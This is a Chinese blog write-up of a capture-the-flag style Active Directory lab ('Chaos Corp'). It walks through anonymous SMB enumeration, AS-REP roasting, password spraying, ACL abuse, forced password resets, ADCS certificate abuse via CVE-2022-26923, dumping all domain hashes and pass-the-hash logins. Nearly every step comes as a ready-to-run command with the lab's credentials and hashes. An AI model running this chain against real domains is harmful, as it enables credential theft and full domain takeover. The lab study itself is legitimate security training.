
这是一台单域控靶场,所以我们上来先扫一梭子看看

这里成功扫到了一个SMB匿名访问,但是权限有点低,然后我们用专业工具收集一下其他匿名信息
匿名信息收集
1 | nxc smb 192.168.111.10 -u '' -p '' --users |

空的,可能是因为SMB不允许匿名用户枚举,换个工具
1 | impacket-lookupsid ' ':''@192.168.111.10 -no-pass |

这里扫到了很多用户,然后我们需要看一下那个用户能共享出来,用nsc或者smbmap都可以
1 | smbmap -H 192.168.111.10 -u guest -p "" |

有且仅有一个New,直接访问一下
1 | smbclient //192.168.111.10/New -U ' '%'' |

然后我们需要把这个文件get下来看看有没有什么有用的东西

拿到了一个用户名密码:
1 | 新员工共享账户 |
域信息收集
这里使用一个工具bloodhound来做信息收集
1 | bloodhound-python -c All -u newmht -p 'New@1234' -ns 192.168.111.10 -d sec.org -dc ad.sec.org --zip |

拿到的json文件,给导入到BloodHound里,这里配置这个服务端有点麻烦,可以找个教程或者让ai辅助完成,我这里是docker起的neo4j,然后下的BloodHound.exe,直接docker起太慢了,解析完json会发现有个HR账号:Lilly@sec.org可以进行AS-REP Roasting攻击用来窃取凭据

1 | nxc ldap 192.168.111.10 -u newmht -p 'New@1234' --asreproast 1.txt --kdcHost 192.168.111.10 |

这里成功拿到了AS-REP 哈希并且存在了1.txt里,然后我们需要让约翰来帮我们破解出明文
1 | john --wordlist=/usr/share/wordlists/rockyou.txt 1.txt |

成功拿到了明文,但是这个明文没什么用,因为他只是成员,没有别的权限
既然拿到了密码,我们可以喷洒一下看看别的,首先需要先把域成员用户名都拖出来,然后用smb喷洒,记得加个continue,否则成功一个就结束了
1 | rpcclient -U "sec.org/newmht%New@1234" 192.168.111.10 -c "enumdomusers" | awk -F'[' '{print $2}' | awk -F']' '{print $1}' > users.txt |

拿到了Moly的密码,看看Moly什么身份,拿下了个领导,人事部主管,恰好主管会与开发部有WriteOwner 的权限

影子凭据(Shadow Credentials)
既然Moly有写入缺陷,可以考虑他未影子凭据,但是影子凭据还需要其他条件
- 拥有目标对象的特定修改权限
- 目标环境支持 PKINIT / 部署了证书服务
- 域控操作系统版本满足要求(Win Server 2016 及以上)
- 拥有能够向 DC 发起 RPC/LDAP 通信的网络连通性
最开始扫描的时候我们就已经拿到了机器开着636端口,在 AD 域环境中,开启 636 端口意味着域控制器安装并启用了 AD CS(Active Directory 证书服务,Active Directory Certificate Services),或者配置了域控证书以支持加密的 LDAP 通信。所以尝试访问一下域控证书
1 | curl -k http://192.168.111.10/certsrv/ |

很明显,开着服务,其实在前边也能看出来开放了证书服务
在前边也能看出来系统版本就是Windows Server 2016。🆗,直接利用,先将moly修改为Dev的owner
1 | bloodyad --host 192.168.111.10 -d sec.org -u Moly -p 'mahalkita' set owner 'CN=Dev,DC=sec,DC=org' Moly |

OK,现在开始修改权限,给Moly添加修改组成员权限。
1 | impacket-dacledit -action write -rights WriteMembers -principal 'Moly' -target-dn 'CN=Dev,DC=sec,DC=org' -dc-ip 192.168.111.10 'sec.org/Moly:mahalkita' |

OK,成功了,现在需要将Moly拉入开发组,然后制作影子凭据
1 | bloodyad --host 192.168.111.10 -d sec.org -u Moly -p 'mahalkita' add groupMember 'CN=Dev,DC=sec,DC=org' Moly |

失败了,因为域控和我们攻击机时间差距太大了,Kerberos有时间校验,所以需要和域控时间同步一下
1 | sudo timedatectl set-ntp false #关闭ntp同步 |

这里补充一下,为什么要用cook呢,因为cook是研发部的,然后和jack有联系,这个图其实比较明显了
这里cook还能暴力修改jack密码,美哉
解密,成功拿到cook的密码明文
然后利用这个密码Cook1234!@#$修改jack的密码
1 | net rpc password "Jock" -U 'sec.org/Cook%Cook1234!@#$' -S 192.168.111.10 |
然后,jack对mht有全部权限,直接修改mht密码

1 | net rpc password mht -U 'sec.org'/'Jock%123456' -S 192.168.111.10 |
请求证书
到mht这不知道干啥了,然后刚刚证书的事还没结束,
1 | certipy-ad find -u 'Cook@sec.org' -p 'Cook1234!@#$' -target 192.168.111.10 |

然后请求证书,Fuzz了一下,只有mht可以请求证书
1 | certipy-ad req -u 'mht@sec.org' -p '123456' -target 192.168.111.10 -ca sec-AD-CA -template User |

AD域权限提升(CVE-2022-26923)
先提权之前,我们先查询一下是否可以创建账户
1 | ldapsearch -x -H ldap://192.168.111.10 -D "mht@sec.org" -w "123456" -b "DC=sec,DC=org" -s base ms-DS-MachineAccountQuota |

成功了,直接添加账号
1 | impacket-addcomputer "sec.org/mht:123456" -computer-name "cve" -computer-pass "cve@123456" -dc-ip 192.168.111.10 |

然后给这个账号修改dNSHostName,将cve这个账号添加到域里
1 | bloodyad -d sec.org -u mht -p '123456' --host 192.168.111.10 set object 'CN=cve,CN=Computers,DC=sec,DC=org' dNSHostName -v 'ad.sec.org' |

请求 AD$ 的证书
1 | certipy-ad req -u 'cve$@sec.org' -p 'cve@123456' -target 192.168.111.10 -ca sec-AD-CA -template Machine -ldap-scheme ldap |

OK,拿到了证书了,直接进行证书传递
1 | certipy-ad auth -pfx ad.pfx -dc-ip 192.168.111.10 |

OK,直接拿下域控了,把域内所有hash都射出来
1 | impacket-secretsdump 'sec.org/AD$@192.168.111.10' -hashes :af09c873164ed481ecf0f6230966d0ad -target-ip 192.168.111.10 -just-dc |

PTH登录一下
1 | impacket-wmiexec -hashes :6f4009ffe6f419f6ebef8c5c4495f26f 'sec.org'/Administrator@192.168.111.10 -target-ip 192.168.111.10 -codec gbk |

或者直接给hash解出来,psexec、SMB登录
1 | impacket-psexec 'sec.org/Administrator:mht1234!@#$@192.168.111.10' -codec gbk |

- Post title: 无境·U LAB_Chaos Corp
- Create time: 2026-08-31 21:13:29
- Post link: 2026/08/31/U LAB_Chaos Corp/
- Copyright notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.